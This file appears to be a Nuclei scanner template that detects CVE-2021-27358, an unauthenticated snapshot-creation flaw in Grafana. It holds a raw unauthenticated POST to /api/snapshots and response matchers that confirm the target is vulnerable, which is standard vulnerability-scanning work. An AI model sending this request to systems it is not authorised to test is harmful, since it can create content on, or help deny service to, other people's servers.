nuclei-templates/cves/2021/CVE-2021-27358.yaml

id: CVE-2021-27358

info:
  author: pdteam
  name: Grafana Unauthenticated Snapshot Creation
  severity: high
  description: The snapshot feature in Grafana 6.7.3 through 7.4.1 can allow an unauthenticated remote attackers to trigger a Denial of Service via a remote API call if a commonly used configuration is set.
  reference:
    - https://phabricator.wikimedia.org/T274736
    - https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27358
  tags: cve,cve2021,grafana,unauth
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.50
    cve-id: CVE-2021-27358

requests:
  - raw:
      - |
        POST /api/snapshots HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}

    matchers-condition: and
    matchers:
      - part: body
        type: word
        words:
          - '"deleteUrl":'
          - '"deleteKey":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

# Enhanced by cs on 2022/02/18